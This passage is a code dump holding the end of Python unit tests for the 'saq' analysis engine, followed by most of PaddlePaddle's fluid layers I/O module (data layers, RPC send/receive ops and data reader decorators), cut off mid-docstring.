file_observable.get_analysis(GenericTestAnalysis) self.assertIsNotNone(analysis) def test_module_instance(self): root = create_root_analysis(analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'blah') root.save() root.schedule() engine = TestEngine(pool_size_limit=1, local_analysis_modes=['test_groups', ANALYSIS_MODE_CORRELATION]) engine.enable_module('analysis_module_instance_1', 'test_groups') engine.enable_module('analysis_module_instance_2', 'test_groups') engine.controlled_stop() engine.start() engine.wait() self.assertEquals(log_count('loading module '), 2) root = RootAnalysis(storage_dir=root.storage_dir) root.load() test_observable = root.get_observable(test_observable.id) self.assertIsInstance(test_observable, Observable) from saq.modules.test import TestInstanceAnalysis analysis_instance_1 = test_observable.get_analysis(TestInstanceAnalysis, instance='instance1') self.assertIsInstance(analysis_instance_1, Analysis) self.assertEquals(analysis_instance_1.details, {'sql': 'SELECT * FROM whatever'}) analysis_instance_2 = test_observable.get_analysis(TestInstanceAnalysis, instance='instance2') self.assertIsInstance(analysis_instance_2, Analysis) self.assertEquals(analysis_instance_2.details, {'sql': 'SELECT * FROM thatonething'}) def test_automation_limit(self): saq.CONFIG['analysis_module_generic_test']['automation_limit'] = '1' root = create_root_analysis() root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable_1 = root.add_observable(F_TEST, 'test_1') observable_2 = root.add_observable(F_TEST, 'test_2') root.analysis_mode = 'test_single' root.save() root.schedule() engine = TestEngine() engine.enable_module('analysis_module_generic_test', 'test_single') engine.controlled_stop() engine.start() engine.wait() root.load() from saq.modules.test import GenericTestAnalysis self.assertEquals(len(root.get_analysis_by_type(GenericTestAnalysis)), 1) # do the same as before but add the directives that tells to engine to ignore the limits root = create_root_analysis(uuid=str(uuid.uuid4())) root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable_1 = root.add_observable(F_TEST, 'test_1') observable_2 = root.add_observable(F_TEST, 'test_2') observable_1.add_directive(DIRECTIVE_IGNORE_AUTOMATION_LIMITS) observable_2.add_directive(DIRECTIVE_IGNORE_AUTOMATION_LIMITS) root.analysis_mode = 'test_single' root.save() root.schedule() engine = TestEngine() engine.enable_module('analysis_module_generic_test', 'test_single') engine.controlled_stop() engine.start() engine.wait() root.load() from saq.modules.test import GenericTestAnalysis # in this case both of them should have been analyzed self.assertEquals(len(root.get_analysis_by_type(GenericTestAnalysis)), 2) def test_deprecated_analysis(self): root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_single') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test') root.save() root.schedule() engine = TestEngine(analysis_pools={'test_single': 1}) engine.enable_module('analysis_module_generic_test', 'test_single') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(storage_dir=root.storage_dir) root.load() test_observable = root.get_observable(test_observable.id) self.assertIsNotNone(test_observable) analysis = test_observable.get_analysis('saq.modules.test:GenericTestAnalysis') from saq.modules.test import GenericTestAnalysis self.assertTrue(isinstance(analysis, GenericTestAnalysis)) self.assertEquals(analysis.summary, str(test_observable.value)) # mark this Analysis as deprected and then try to load it saq.CONFIG['deprecated_modules']['analysis_module_generic_test'] = 'saq.modules.test:GenericTestAnalysis' root = RootAnalysis(storage_dir=root.storage_dir) root.load() test_observable = root.get_observable(test_observable.id) self.assertIsNotNone(test_observable) analysis = test_observable.get_analysis('saq.modules.test:GenericTestAnalysis') self.assertIsNotNone(analysis) # the class that gets loaded is different from saq.analysis import DeprecatedAnalysis self.assertTrue(isinstance(analysis, DeprecatedAnalysis)) # but the summary should still be the same self.assertEquals(analysis.summary, str(test_observable.value)) def test_missing_analysis(self): root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_single') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test') root.save() root.schedule() engine = TestEngine(analysis_pools={'test_single': 1}) engine.enable_module('analysis_module_generic_test', 'test_single') engine.controlled_stop() engine.start() engine.wait() # the idea here is a module was removed but it wasn't added to the deprecated analysis modules list # we'll fake that by editing the JSON with open(root.json_path, 'r') as fp: analysis_json = json.load(fp) analysis_json['observable_store'][test_observable.id]['analysis']['saq.modules.test:DoesNotExist'] = \ analysis_json['observable_store'][test_observable.id]['analysis']['saq.modules.test:GenericTestAnalysis'].copy() del analysis_json['observable_store'][test_observable.id]['analysis']['saq.modules.test:GenericTestAnalysis'] with open(root.json_path, 'w') as fp: json.dump(analysis_json, fp) # now when we try to load it we should have a missing analysis module root = RootAnalysis(storage_dir=root.storage_dir) root.load() test_observable = root.get_observable(test_observable.id) self.assertIsNotNone(test_observable) analysis = test_observable.get_analysis('saq.modules.test:DoesNotExist') self.assertIsNotNone(analysis) # the class that gets loaded is different from saq.analysis import ErrorAnalysis self.assertTrue(isinstance(analysis, ErrorAnalysis)) # but the summary should still be the same self.assertEquals(analysis.summary, str(test_observable.value))
io.py
# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import print_function from ..wrapped_decorator import signature_safe_contextmanager import multiprocessing import os import six import threading from ..data_feeder import DataFeeder from .control_flow import BlockGuard from .layer_function_generator import templatedoc from .. import core from ..executor import global_scope from ..framework import convert_np_dtype_to_dtype_, default_main_program, \ default_startup_program, program_guard, Program, Variable from ..layer_helper import LayerHelper from ..unique_name import generate as unique_name __all__ = [ 'data', 'open_files', 'read_file', 'shuffle', 'batch', 'double_buffer', 'random_data_generator', 'py_reader', 'create_py_reader_by_data', 'Preprocessor', 'load' ] def data(name, shape, append_batch_size=True, dtype='float32', lod_level=0, type=core.VarDesc.VarType.LOD_TENSOR, stop_gradient=True): """ **Data Layer** This function takes in the input and based on whether data has to be returned back as a minibatch, it creates the global variable by using the helper functions. The global variables can be accessed by all the following operators in the graph. All the input variables of this function are passed in as local variables to the LayerHelper constructor. Notice that paddle would only use :code:`shape` to infer the shapes of following variables in the network during compile-time. During run-time, paddle would not check whether the shape of the feeded data matches the :code:`shape` settings in this function. Args: name(str): The name/alias of the function shape(list): Tuple declaring the shape. If :code:`append_batch_size` is True and there is no -1 inside :code:`shape`, it should be considered as the shape of the each sample. Otherwise, it should be considered as the shape of the batched data. append_batch_size(bool): 1. If true, it prepends -1 to the shape. For example if shape=[1], the resulting shape is [-1, 1]. This will be useful to set different batch size at run time. 2. If shape contains -1, such as shape=[1, -1]. append_batch_size will be enforced to be be False (ineffective) because PaddlePaddle cannot set more than 1 unknown number on the shape. dtype(np.dtype|VarType|str): The type of data : float32, float16, int etc type(VarType): The output type. By default it is LOD_TENSOR. lod_level(int): The LoD Level. 0 means the input data is not a sequence. stop_gradient(bool): A boolean that mentions whether gradient should flow. Returns: Variable: The global variable that gives access to the data. Examples: .. code-block:: python data = fluid.layers.data(name='x', shape=[784], dtype='float32') """ helper = LayerHelper('data', **locals()) shape = list(shape) for i in six.moves.range(len(shape)): if shape[i] is None: shape[i] = -1 append_batch_size = False elif shape[i] < 0: append_batch_size = False if append_batch_size: shape = [-1] + shape # append batch size as -1 data_var = helper.create_global_variable( name=name, shape=shape, dtype=dtype, type=type, stop_gradient=stop_gradient, lod_level=lod_level, is_data=True) return data_var class BlockGuardServ(BlockGuard): """ BlockGuardServ class. BlockGuardServ class is used to create an op with a block in a program. """ def __init__(self, server): if not (isinstance(server, ListenAndServ)): raise TypeError("BlockGuardServ takes a ListenAndServ") super(BlockGuardServ, self).__init__(server.helper.main_program) self.server = server def __exit__(self, exc_type, exc_val, exc_tb): if exc_type is not None: return False self.server.complete_op() return super(BlockGuardServ, self).__exit__(exc_type, exc_val, exc_tb) class ListenAndServ(object): """ **ListenAndServ Layer** ListenAndServ is used to create a rpc server bind and listen on specific TCP port, this server will run the sub-block when received variables from clients. Args: endpoint(string): IP:port string which the server will listen on. inputs(list): a list of variables that the server will get from clients. fan_in(int): how many client are expected to report to this server, default: 1. optimizer_mode(bool): whether to run the server as a parameter server, default: True. Examples: .. code-block:: python with fluid.program_guard(main): serv = layers.ListenAndServ( "127.0.0.1:6170", ["X"], optimizer_mode=False) with serv.do(): x = layers.data( shape=[32, 32], dtype='float32', name="X", append_batch_size=False) fluid.initializer.Constant(value=1.0)(x, main.global_block()) layers.scale(x=x, scale=10.0, out=out_var) exe = fluid.Executor(place) exe.run(main) """ def __init__(self, endpoint, inputs, fan_in=1, optimizer_mode=True): self.helper = LayerHelper("listen_and_serv") self.inputs = inputs self.outputs = [] self.endpoint = endpoint self.fan_in = fan_in # FIXME(typhoonzero): add optimizer_mode is stupid, should make it more # general. self.optimizer_mode = optimizer_mode def do(self): return BlockGuardServ(self) def get_params_and_grads(self): main_program = self.helper.main_program current_block = main_program.current_block() parent_block = self.parent_block() # params and grads in the same order. params = list() grads = list() for op in current_block.ops: # FIXME(typhoonzero): op.inputs is None if it's cloned. if self.optimizer_mode: if "Grad" in op.inputs and "Param" in op.inputs: params.append(op.inputs["Param"].name) grads.append(op.inputs["Grad"].name) else: # simple recv mode, recv operators inputs. for iname in op.input_names: for in_var_name in op.input(iname): params.append(parent_block.var(in_var_name)) grads.append(parent_block.var(in_var_name)) return params, grads def parent_block(self): prog = self.helper.main_program parent_idx = prog.current_block().parent_idx assert parent_idx >= 0 parent_block = prog.block(parent_idx) return parent_block def complete_op(self): main_program = self.helper.main_program current_block = main_program.current_block() parent_block = self.parent_block() parent_block.append_op( type='listen_and_serv', inputs={"X": self.inputs}, outputs={}, attrs={ 'endpoint': self.endpoint, 'Fanin': self.fan_in, 'optimize_blocks': [ current_block ], # did not support multiple optimize blocks in layers 'sync_mode': True, # did not support async now in layers 'grad_to_block_id': [""] }) def Send(endpoints, send_vars, dummy_output=None, sync=True): """ Send variables to the server side, and get vars from server side when server have finished running server side program. Args: endpoints (str): comma seperated IP:PORT pairs in the order of send_vars to send send_vars (list): variables to send to server sync (bool): whether to wait the request finish """ assert (type(send_vars) == list) if dummy_output is None: dummy_output = [] elif isinstance(dummy_output, Variable): dummy_output = [dummy_output] assert (type(dummy_output) == list) epmap = endpoints.split(",") endpoints = list(set(epmap)) helper = LayerHelper("Send", **locals()) rpc_op_role_name = core.op_proto_and_checker_maker.kOpRoleAttrName() helper.append_op( type="send", inputs={"X": send_vars}, outputs={"Out": dummy_output}, attrs={ "endpoints": endpoints, "epmap": epmap, rpc_op_role_name: core.op_proto_and_checker_maker.OpRole.RPC }) if sync: helper.append_op( type="send_barrier", inputs={"X": dummy_output}, outputs={"Out": []}, attrs={"endpoints": endpoints}) def Recv(endpoints, get_vars, dummy_input=None, sync=True): """ Receive variables from server side Args: endpoints (str): comma seperated IP:PORT pairs in the order of send_vars to send get_vars (list): vars to get from server after send completes. sync (bool): whether to wait the request finish Returns: list: list of received variables """ assert (type(get_vars) == list) if dummy_input is None: dummy_input = [] elif isinstance(dummy_input, Variable): dummy_input = [dummy_input] assert (type(dummy_input) == list) epmap = endpoints.split(",") endpoints = list(set(epmap)) helper = LayerHelper("Recv", **locals()) helper.append_op( type="recv", inputs={"X": dummy_input}, outputs={"Out": get_vars}, attrs={"endpoints": endpoints, "epmap": epmap}) if sync: helper.append_op( type="fetch_barrier", outputs={"Out": get_vars}, attrs={"endpoints": endpoints}) return get_vars def monkey_patch_reader_methods(reader): def __get_reader__(): scope = global_scope() var = scope.find_var(reader.name) return var.get_reader() def reset(): return __get_reader__().reset() reader.reset = reset reader.stop_gradient = True reader.persistable = True return reader def _copy_reader_var_(block, var): new_var = block.create_var(name=var.name, type=core.VarDesc.VarType.READER) new_var.desc.set_shapes(var.desc.shapes()) new_var.desc.set_dtypes(var.desc.dtypes()) new_var.desc.set_lod_levels(var.desc.lod_levels()) new_var.persistable = True return new_var def _copy_reader_create_op_(block, op): input_param_names = op.input_names new_input_map = {} for param_name in input_param_names: new_input_map[param_name] = [] arg_names = op.input(param_name) for arg_name in arg_names: new_input_map[param_name].append(block.var(arg_name)) output_param_names = op.output_names new_output_map = {} for param_name in output_param_names: new_output_map[param_name] = [] arg_names = op.output(param_name) for arg_name in arg_names: new_output_map[param_name].append(block.var(arg_name)) new_op = block.append_op( type=op.type, inputs=new_input_map, outputs=new_output_map, attrs=op.all_attrs()) return new_op @templatedoc(op_type='create_recordio_file_reader') def open_recordio_file(filename, shapes, lod_levels, dtypes, pass_num=1, for_parallel=True): """ ${comment} Args: filename(${filename_type}): ${filename_comment}. shapes(list): List of tuples which declaring data shapes. lod_levels(${lod_levels_type}): ${lod_levels_comment}. dtypes(list): List of strs which declaring data type. pass_num(int): Number of passes to run. for_parallel(Bool): Set it as True if you are going to run subsequent operators in parallel. Returns: ${out_comment}. Examples: >>> import paddle.fluid as fluid >>> reader = fluid.layers.io.open_recordio_file( >>> filename='./data.recordio', >>> shapes=[(3,224,224), (1,)], >>> lod_levels=[0, 0], >>> dtypes=['float32', 'int64']) >>> # Via the reader, we can use 'read_file' layer to get data: >>> image, label = fluid.layers.io.read_file(reader) """ dtypes = [convert_np_dtype_to_dtype_(dt) for dt in dtypes] shape_concat = [] ranks = [] for shape in shapes: shape_concat.extend(shape) ranks.append(len(shape)) var_name = unique_name('open_recordio_file') startup_blk = default_startup_program().current_block() startup_var = startup_blk.create_var(name=var_name) startup_blk.append_op( type='create_recordio_file_reader', outputs={'Out': [startup_var]}, attrs={ 'shape_concat': shape_concat, 'lod_levels': lod_levels, 'filename': filename, 'ranks': ranks }) startup_var.desc.set_dtypes(dtypes) startup_var.persistable = True main_prog_var = _copy_reader_var_(default_main_program().current_block(), startup_var) if pass_num > 1: main_prog_var = multi_pass(reader=main_prog_var, pass_num=pass_num) return monkey_patch_reader_methods(main_prog_var) def random_data_generator(low, high, shapes, lod_levels, for_parallel=True): """ Create a uniform random data generator This layer returns a Reader Variable. Instead of opening a file and reading data from it, this Reader Variable generates float uniform random data by itself. It can be used as a dummy reader to test a network without opening a real file. Args: low(float): The lower bound of data's uniform distribution. high(float): The upper bound of data's uniform distribution. shapes(list): List of tuples which declaring data shapes. lod_levels(list): List of ints which declaring data lod_level. for_parallel(Bool): Set it as True if you are going to run subsequent operators in parallel. Returns: Variable: A Reader Variable from which we can get random data. Examples: .. code-block:: python reader = fluid.layers.random_data_generator( low=0.0, high=1.0, shapes=[[3,224,224], [1]], lod_levels=[0, 0]) # Via the reader, we can use 'read_file' layer to get data: image, label = fluid.layers.read_file(reader) """ dtypes = [core.VarDesc.VarType.FP32] * len(shapes) shape_concat = [] ranks = [] for shape in shapes: shape_concat.extend(shape) ranks.append(len(shape)) var_name = unique_name('random_data_generator') startup_blk = default_startup_program().current_block() startup_var = startup_blk.create_var(name=var_name) startup_blk.append_op( type='create_random_data_generator', outputs={'Out': [startup_var]}, attrs={ 'low': low, 'high': high, 'shape_concat': shape_concat, 'lod_levels': lod_levels, 'ranks': ranks }) startup_var.desc.set_dtypes(dtypes) startup_var.persistable = True main_prog_var = _copy_reader_var_(default_main_program().current_block(), startup_var) return monkey_patch_reader_methods(main_prog_var) def _py_reader(capacity, shapes, dtypes, lod_levels=None, name=None, use_double_buffer=True, feed_list=None): if feed_list is not None: if not isinstance(feed_list, list): raise TypeError("feed_list should be a list of Variable" " instead of " + str(type(feed_list))) lod_levels = [] dtypes = [] shape_concat = [] ranks = [] shapes = [] for feed_data in feed_list: dtypes.append(feed_data.dtype) shape_concat.extend(feed_data.shape) ranks.append(len(feed_data.shape)) shapes.append(feed_data.shape) lod_levels.append(feed_data.lod_level) else: dtypes = [convert_np_dtype_to_dtype_(dt) for dt in dtypes] shape_concat = [] ranks = [] for shape in shapes: shape_concat.extend(shape) ranks.append(len(shape)) if lod_levels is None: lod_levels = [0] * len(shapes) if name is None: queue_name = unique_name('lod_tensor_blocking_queue') reader_name = unique_name('create_py_reader') double_buffer_name = unique_name('double_buffer') else: queue_name = "_".join([name, "queue"]) reader_name = "_".join([name, "reader"]) double_buffer_name = "_".join([name, "double_buffer"]) var = global_scope().var(queue_name) feed_queue = core.init_lod_tensor_blocking_queue(var, capacity) startup_blk = default_startup_program().current_block() startup_var = startup_blk.create_var(name=reader_name) startup_blk.append_op( type='create_py_reader', inputs={'blocking_queue': [queue_name]}, outputs={'Out': [startup_var]}, attrs={ 'shape_concat': shape_concat, 'lod_levels': lod_levels, 'ranks': ranks }) startup_var.desc.set_dtypes(dtypes) startup_var.persistable = True main_prog_var = _copy_reader_var_(default_main_program().current_block(), startup_var) reader = monkey_patch_reader_methods(main_prog_var) if use_double_buffer: double_buffer_reader = double_buffer(reader, name=double_buffer_name) # we return a double buffer reader. However, the reset method comes from # py_reader. double_buffer_reader.reset = reader.reset reader = double_buffer_reader # monkey patch py_reader special methods reader.queue = feed_queue current_reset_method = reader.reset reader.thread = None reader.tensor_provider = None reader.exited = False def start_provide_thread(func): def __provider_thread__(): try: for tensors in func(): array = core.LoDTensorArray() for item in tensors: if not isinstance(item, core.LoDTensor): tmp = core.LoDTensor() tmp.set(item, core.CPUPlace()) item = tmp array.append(item) if reader.exited: break feed_queue.push(array) if reader.exited: break feed_queue.close() except Exception as ex: feed_queue.close() raise ex reader.thread = threading.Thread(target=__provider_thread__) reader.thread.daemon = True reader.thread.start() def __set_tensor_provider__(func): reader.tensor_provider = func def __set_paddle_reader__(paddle_reader): with program_guard(Program(), Program()): actual_feed_list = feed_list if actual_feed_list is None: actual_feed_list = [] counter = 0 for dtype, shape, lod_level in zip(dtypes, shapes, lod_levels): name = str(counter) actual_feed_list.append( data( name=name, dtype=dtype, shape=shape, lod_level=lod_level)) counter += 1 data_names = [feed_data.name for feed_data in actual_feed_list] feeder = DataFeeder( feed_list=actual_feed_list, place=core.CPUPlace()) paddle_reader = feeder.decorate_reader( paddle_reader, multi_devices=False) def __tensor_provider__(): for slots in paddle_reader(): yield [slots[data_name] for data_name in data_names] __set_tensor_provider__(__tensor_provider__) def __reset__(): current_reset_method() if reader.thread is not None and reader.tensor_provider is not None: reader.exited = True reader.thread.join() reader.exited = False def __start__(): start_provide_thread(reader.tensor_provider) reader.reset = __reset__ reader.decorate_tensor_provider = __set_tensor_provider__ reader.decorate_paddle_reader = __set_paddle_reader__ reader.decorate_batch_generator = __set_tensor_provider__ reader.decorate_sample_list_generator = __set_paddle_reader__ reader.start = __start__ return reader def py_reader(capacity, shapes, dtypes, lod_levels=None, name=None, use_double_buffer=True): """ Create a Python reader for data feeding in Python This layer returns a Reader Variable. The Reader provides :code:`decorate_paddle_reader()` and :code:`decorate_tensor_provider()` to set a Python generator as the data source. More details :ref:`user_guide_use_py_reader_en` . When :code:`Executor::Run()` is invoked in C++ side, the data from the generator would be read automatically. Unlike :code:`DataFeeder.feed()`, the data reading process and :code:`Executor::Run()` process can run in parallel using :code:`py_reader`. The :code:`start()` method of the Reader should be called when each pass begins, while the :code:`reset()` method should be called when the pass ends and :code:`fluid.core.EOFException` raises. Note that :code:`Program.clone()` method cannot clone :code:`py_reader`. Args: capacity(int): The buffer capacity maintained by :code:`py_reader`. shapes(list|tuple): List of tuples which declaring data shapes. dtypes(list|tuple): List of strs which declaring data type. lod_levels(list|tuple): List of ints which declaring data lod_level. name(basestring): The prefix Python queue name and Reader name. None will be generated automatically. use_double_buffer(bool): Whether use double buffer or not. Returns: Variable: A Reader from which we can get feeding data. Examples: 1. The basic usage of :code:`py_reader` is as follows: .. code-block:: python import paddle import paddle.fluid as fluid import paddle.dataset.mnist as mnist def network(image, label): # user defined network, here a softmax regresssion example predict = fluid.layers.fc(input=image, size=10, act='softmax') return fluid.layers.cross_entropy(input=predict, label=label) reader = fluid.layers.py_reader(capacity=64, shapes=[(-1, 1, 28, 28), (-1, 1)], dtypes=['float32', 'int64']) reader.decorate_paddle_reader( paddle.reader.shuffle(paddle.batch(mnist.train(), batch_size=5), buf_size=1000)) img, label = fluid.layers.read_file(reader) loss = network(img, label) fluid.Executor(fluid.CUDAPlace(0)).run(fluid.default_startup_program()) exe = fluid.ParallelExecutor(use_cuda=True) for epoch_id in range(10): reader.start() try: while True: exe.run(fetch_list=[loss.name]) except fluid.core.EOFException: reader.reset() fluid.io.save_inference_model(dirname='./model', feeded_var_names=[img.name, label.name], target_vars=[loss], executor=fluid.Executor(fluid.CUDAPlace(0))) 2. When training and testing are both performed, two different :code:`py_reader` should be created with different names, e.g.: .. code-block:: python import paddle import paddle.fluid as fluid import paddle.dataset.mnist as mnist def network(reader): img, label = fluid.layers.read_file(reader) # User defined network. Here a simple regression as example predict = fluid.layers.fc(input=img, size=10, act='softmax') loss = fluid.layers.cross_entropy(input=predict, label=label) return fluid.layers.mean(loss) # Create train_main_prog and train_startup_prog train_main_prog = fluid.Program() train_startup_prog = fluid.Program() with fluid.program_guard(train_main_prog, train_startup_prog): # Use fluid.unique_name.guard() to share parameters with test program with fluid.unique_name.guard(): train_reader = fluid.layers.py_reader(capacity=64, shapes=[(-1, 1, 28, 28), (-1, 1)], dtypes=['float32', 'int64'], name='train_reader') train_reader.decorate_paddle_reader( paddle.reader.shuffle(paddle.batch(mnist.train(), batch_size=5), buf_size=500)) train_loss = network(train_reader) # some network definition adam = fluid.optimizer.Adam(learning_rate=0.01) adam.minimize(train_loss) # Create test_main_prog and test_startup_prog test_main_prog = fluid.Program() test_startup_prog = fluid.Program() with fluid.program_guard(test_main_prog, test_startup_prog): # Use fluid.unique_name.guard() to share parameters with train program with fluid.unique_name.guard(): test_reader = fluid.layers.py_reader(capacity=32, shapes=[(-1, 1, 28, 28), (-1, 1)], dtypes=['float32', 'int64'], name='test_reader') test_reader.decorate_paddle_reader(paddle.batch(mnist.test(), 512)) test_loss = network(test_reader) fluid.Executor(fluid.CUDAPlace(0)).run(train_startup_prog) fluid.Executor(fluid.CUDAPlace(0)).run(test_startup_prog) train_exe = fluid.ParallelExecutor(use_cuda=True, loss_name=train_loss.name, main_program=train_main_prog) test_exe = fluid.ParallelExecutor(use_cuda=True, loss_name=test_loss.name, main_program=test_main_prog) for epoch_id in range(10): train_reader.start() try: while True: train_exe.run(fetch_list=[train_loss.name]) except fluid.core.EOFException: train_reader.reset() test_reader.start() try: while True: test_exe.run(fetch_list=[test_loss.name]) except fluid.core.EOFException: test_reader.reset() """ return _py_reader( capacity=capacity, shapes=shapes, dtypes=dtypes, lod_levels=lod_levels, name=name, use_double_buffer=use_double_buffer) def create_py_reader_by_data(capacity, feed_list, name=None, use_double_buffer=True): """ Create a Python reader for data feeding in Python This layer returns a Reader Variable. Works much like py_reader except that it's input is feed_list instead of shapes, dtypes and lod_levels Args: capacity(int): The buffer capacity maintained by :code:`py_reader`. feed_list(list(Variable)): The data feed list. name(basestring): The prefix Python queue name and Reader name. None will be generated automatically. use_double_buffer(bool): Whether use double buffer or not. Returns: Variable: A Reader from which we can get feeding data. Examples: .. code-block:: python import paddle import paddle.fluid as fluid import paddle.dataset.mnist as mnist def network(img, label): # User defined network. Here a simple regression as example predict = fluid.layers.fc(input=img, size=10, act='softmax') loss = fluid.layers.cross_entropy(input=predict, label=label) return fluid.layers.mean(loss) image = fluid.layers.data(name='image', shape=[1, 28, 28], dtype='float32') label = fluid.layers.data(name='label', shape=[1], dtype='int64') reader = fluid.layers.create_py_reader_by_data(capacity=64, feed_list=[image, label]) reader.decorate_paddle_reader( paddle.reader.shuffle(paddle.batch(mnist.train(), batch_size=5), buf_size=500)) img, label = fluid.layers.read_file(reader) loss = network(img, label) # some network definition fluid.Executor(fluid.CUDAPlace(0)).run(fluid.default_startup_program()) exe = fluid.ParallelExecutor(use_cuda=True, loss_name=loss.name) for epoch_id in range(10): reader.start() try: while True: exe.run(fetch_list=[loss.name]) except fluid.core.EOFException: reader.reset() """ return _py_reader( capacity=capacity, shapes=None, dtypes=None, lod_levels=None, name=name, use_double_buffer=use_double_buffer, feed_list=feed_list) def open_files(filenames, shapes, lod_levels, dtypes, thread_num=None, buffer_size=None, pass_num=1, is_test=None): """ Open files This layer takes a list of files to read from and returns a Reader Variable. Via the Reader Variable, we can get data from given files. All files must have name suffixs to indicate their formats, e.g., '*.recordio'. Args: filenames(list): The list of file names. shapes(list): List of tuples which declaring data shapes. lod_levels(list): List of ints which declaring data lod_level. dtypes(list): List of strs which declaring data type. thread_num(None): The number of thread to read files. Default: min(len(filenames), cpu_number). buffer_size(None): The buffer size of reader. Default: 3 * thread_num pass_num(int): Number of passes to run. is_test(bool|None): Whether `open_files` used for testing or not. If it is used for testing, the order of data generated is same as the file order. Otherwise, it is not guaranteed the order of data is same between every epoch. [Default: False]. Returns: Variable: A Reader Variable via which we can get file data. Examples: .. code-block:: python import paddle.fluid as fluid reader = fluid.layers.io.open_files(filenames=['./data1.recordio', './data2.recordio'], shapes=[(3,224,224), (1,)], lod_levels=[0, 0], dtypes=['float32', 'int64']) # Via the reader, we can use 'read_file' layer to get data: image, label = fluid.layers.io.read_file(reader) """ if thread_num is None: thread_num = min(len(filenames), multiprocessing.cpu_count()) else: thread_num = int(thread_num) if buffer_size is None: buffer_size = 3 * thread_num else: buffer_size = int(buffer_size) if isinstance(filenames, six.string_types): filenames = [filenames] dtypes = [convert_np_dtype_to_dtype_(dt) for dt in dtypes] shape_concat = [] ranks = [] for shape in shapes: shape_concat.extend(shape) ranks.append(len(shape)) multi_file_reader_name = unique_name('multi_file_reader') startup_blk = default_startup_program().current_block() startup_reader = startup_blk.create_var(name=multi_file_reader_name) attrs = { 'shape_concat': shape_concat, 'lod_levels': lod_levels, 'ranks': ranks, 'file_names': filenames, 'thread_num': thread_num, 'buffer_size': buffer_size } if is_test is not None: attrs['is_test'] = is_test startup_blk.append_op( type='open_files', outputs={'Out': [startup_reader]}, attrs=attrs) startup_reader.desc.set_dtypes(dtypes) startup_reader.persistable = True main_prog_reader = _copy_reader_var_(default_main_program().current_block(), startup_reader) if pass_num > 1: main_prog_reader = multi_pass( reader=main_prog_reader, pass_num=pass_num) return monkey_patch_reader_methods(main_prog_reader) def __create_shared_decorated_reader__(op_type, reader, attrs): var_name = unique_name(op_type) startup_blk = default_startup_program().current_block() startup_var = startup_blk.create_var(name=var_name) startop_op = startup_blk.append_op( type=op_type, inputs={'UnderlyingReader': reader}, outputs={'Out': [startup_var]}, attrs=attrs) startup_var.persistable = True main_prog_block = default_main_program().current_block() main_prog_var = _copy_reader_var_(main_prog_block, startup_var) _copy_reader_create_op_(main_prog_block, startop_op) return monkey_patch_reader_methods(main_prog_var) def __create_unshared_decorated_reader__(op_type, reader, attrs, name=None): new_reader_name = name if name is not None else unique_name(op_type) main_blk = default_main_program().current_block() new_reader = main_blk.create_var(name=new_reader_name) main_blk.append_op( type=op_type, inputs={'UnderlyingReader': reader}, outputs={'Out': [new_reader]}, attrs=attrs) return monkey_patch_reader_methods(new_reader) def shuffle(reader, buffer_size): """ Creates a data reader whose data output is shuffled. Output from the iterator that created by original reader will be buffered into shuffle buffer, and then shuffled. The size of shuffle buffer is determined by argument buf_size. Args: reader(callable): the original reader whose output will be shuffled. buf_size(int): shuffle buffer size. Returns: callable: the new reader whose output is shuffled. Examples: .. code-block:: python raw_reader = fluid.layers.io.open_files(filenames=['./data1.recordio', './data2.recordio'], shapes=[(3,224,224), (1,)], lod_levels=[0, 0], dtypes=['float32', 'int64'], thread_num=2, buffer_size=2) batch_reader = fluid.layers.batch(reader=raw_reader, batch_size=5) shuffle_reader = fluid.layers.shuffle(reader=batch_reader, buffer_size=5000) """ return __create_unshared_decorated_reader__( 'create_shuffle_reader', reader, {'buffer_size': int(buffer_size)}) def batch(reader, batch_size): """ This layer is a reader decorator. It takes a reader and adds 'batching' decoration on it. When reading with the result decorated reader, output data will be automatically organized to the form of batches. Args: reader(Variable): The reader to be decorated with 'batching'. batch_size(int): The batch size. Returns: Variable: The reader which has been decorated with 'batching'. Examples: .. code-block:: python raw_reader = fluid.layers.io.open_files(filenames=['./data1.recordio', './data2.recordio'], shapes=[(3,224,224), (1,)], lod_levels=[0, 0], dtypes=['float32', 'int64'], thread_num=2, buffer_size=2) batch_reader = fluid.layers.batch(reader=raw_reader, batch_size=5) # If we read data with the raw_reader: # data = fluid.layers.read_file(raw_reader) # We can only get data instance by instance. # # However, if we read data with the batch_reader: # data = fluid.layers.read_file(batch_reader) # Each 5 adjacent instances will be automatically combined together # to become a batch. So what we get('data') is a batch data instead # of an instance. """ return __create_unshared_decorated_reader__( 'create_batch_reader', reader, {'batch_size': int(batch_size)}) def double_buffer(reader, place=None, name=None): """ Wrap a double buffer reader. The data will copy to target place with a double buffer queue. If the target place is None, the place that executor perform on will be used. Args: reader(Variable): the reader variable need to be wrapped. place(Place): the place of target data. Default is the sample place of executor perform. name(str): Variable name. None if the user does not care. Returns: wrapped reader with double buffer. Examples: >>> import paddle.fluid as fluid >>> reader = fluid.layers.open_files(filenames=['mnist.recordio'], >>> shapes=[[-1, 784], [-1, 1]], >>> dtypes=['float32', 'int64']) >>> reader = fluid.layers.double_buffer(reader) >>> img, label = fluid.layers.read_file(reader) """ attrs = dict() if place is not None: attrs['place'] = str(place).upper() return __create_unshared_decorated_reader__( 'create_double_buffer_reader', reader, attrs, name=name) def multi_pass(reader, pass_num): return __create_shared_decorated_reader__( 'create_multi_pass_reader', reader, {'pass_num': int(pass_num)}) def read_file(reader): """ Execute the given reader and get data via it. A reader is also a Variable. It can be a raw reader generated by `fluid.layers.open_files()` or a decorated one generated by `fluid.layers.double_buffer()` and so on. Args: reader(Variable): The reader to execute. Returns: Tuple[Variable]: Data read via the given reader. Examples: .. code-block:: python import paddle.fluid as fluid data_file = fluid.layers.open_files( filenames=['mnist.recordio'], shapes=[(-1, 748), (-1, 1)], lod_levels=[0, 0], 